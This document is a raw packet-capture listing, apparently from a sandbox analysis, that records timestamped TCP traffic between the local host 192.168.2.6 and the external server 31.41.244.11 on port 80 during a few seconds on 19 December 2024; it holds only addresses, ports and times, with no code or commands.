Dec 19, 2024 16:10:18.637701988 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.637896061 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.638602018 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.641980886 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.642066956 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.642142057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.642263889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.646184921 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.646226883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.646287918 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.646312952 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.650650024 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.650743961 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.650789976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.650935888 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.655024052 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.655112028 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.655114889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.655155897 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.659441948 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.659533978 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.660209894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.660490036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.664112091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.664215088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.664661884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.667979002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.668544054 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.668617010 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.669039011 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.669105053 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.672862053 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.672873974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.673007011 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.677267075 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.677336931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.677367926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.677383900 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.681852102 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.681955099 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.681962967 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.682090998 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.686117887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.686353922 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.686425924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.690637112 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.690649986 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.690696001 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.690738916 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.694972038 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.695027113 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.695194960 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.695327044 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.698822975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.698837042 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.698884010 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.702342033 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.702522993 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.702594042 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.705696106 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.706192017 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.706203938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.706264019 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.709661961 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.709734917 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.709897995 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.710108995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.713404894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.713430882 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.713462114 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.713496923 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.716887951 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.717047930 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.717411041 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.717524052 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.720504999 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.720637083 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.721039057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.721091986 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.724216938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.724314928 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.725414991 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.725460052 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.727889061 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.728085995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.728101969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.729193926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.827617884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.827635050 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.827694893 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.829327106 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.829461098 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.829499006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.829550028 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.831742048 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.831828117 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.832154036 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.832215071 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.834638119 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.834651947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.834692955 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.837238073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.837783098 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.837984085 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.838026047 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.840061903 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.840148926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.840639114 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.840683937 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.842777014 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.842789888 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.842832088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.845208883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.845310926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.845575094 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.845618010 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.847903967 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.847918034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.848396063 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.850655079 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.850728035 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.853988886 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.854002953 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.854016066 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.854068995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.854104042 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.855999947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.856091022 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.856117964 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.856131077 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.858033895 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.858177900 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.858243942 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.860109091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.860174894 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.860682011 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.862107992 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.862628937 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.862771988 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.862829924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.865001917 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.865015030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.865750074 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.868575096 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.868627071 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.869945049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.870354891 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.870995045 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.871007919 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.871046066 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.873605967 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.873619080 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.873650074 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.873667002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.874802113 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.874814034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.875242949 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.877239943 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.877254963 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.877298117 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.877321959 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.879489899 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.879633904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.879677057 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.881834030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.881880999 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.881975889 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.882110119 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.884251118 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.884308100 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.884735107 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.884839058 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.887136936 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.887167931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.887204885 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.887223005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.889184952 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.889246941 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.889373064 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.889441013 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.891530037 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.891680002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.892180920 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.892235994 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.893949986 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.894047022 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.894504070 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.895333052 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.896409035 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.896470070 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.896545887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.896598101 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.898912907 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.898971081 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.899014950 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.899034977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.901205063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.901503086 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.901634932 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.901702881 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.903610945 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.903927088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.903997898 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.906400919 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.906436920 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.906505108 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.906505108 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.908719063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.908754110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.908823013 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.911133051 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.911191940 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.911372900 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.911839962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.913325071 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.913402081 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.913546085 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.913655043 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.915827036 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.915890932 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.916227102 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.916277885 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.918173075 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.918226957 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.918227911 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.919929028 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.920509100 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.920684099 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.920728922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.923010111 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.923053980 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.923119068 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.019591093 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.019620895 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.019727945 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.020545006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.020694971 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.020725965 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.020824909 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.022823095 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.022886038 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.022931099 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.024688959 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.024823904 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.024863958 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.024914026 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.026561975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.026619911 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.027160883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.027209997 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.028434992 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.028898001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.029746056 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.030383110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.030508041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.031282902 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.032017946 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.032313108 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.032397032 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.032558918 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.034302950 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.034337997 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.034450054 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.034482956 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.036127090 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.036180973 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.036216974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.036597013 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.037987947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.038129091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.038153887 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.038167953 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.039820910 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.039871931 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.039906979 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.040129900 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.041630030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.041995049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.042042971 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.043533087 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.043908119 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.045274973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.045284033 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.045353889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.045571089 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.045728922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.047041893 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.048393011 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.048458099 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.048746109 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.048990965 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.049314976 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.050584078 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.050900936 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.050966978 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.052160025 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.052274942 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.052331924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.053899050 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.054002047 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.054018974 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.054066896 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.055680037 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.055732965 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.056090117 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.057202101 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.057353973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.057482958 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.057528973 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.059026003 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.059138060 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.059142113 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.059375048 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.060726881 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.061364889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.061388969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.061445951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.062536001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.062572956 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.062890053 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.062926054 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.064153910 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.064207077 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.064404011 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.064454079 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.065840960 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.065985918 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.066282034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.066329002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.067542076 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.067946911 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.068002939 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.069279909 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.069329977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.069464922 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.069504976 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.070975065 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.071072102 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.071110010 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.071146965 CET	49857	80	192.168.2.6	31.41.244.11
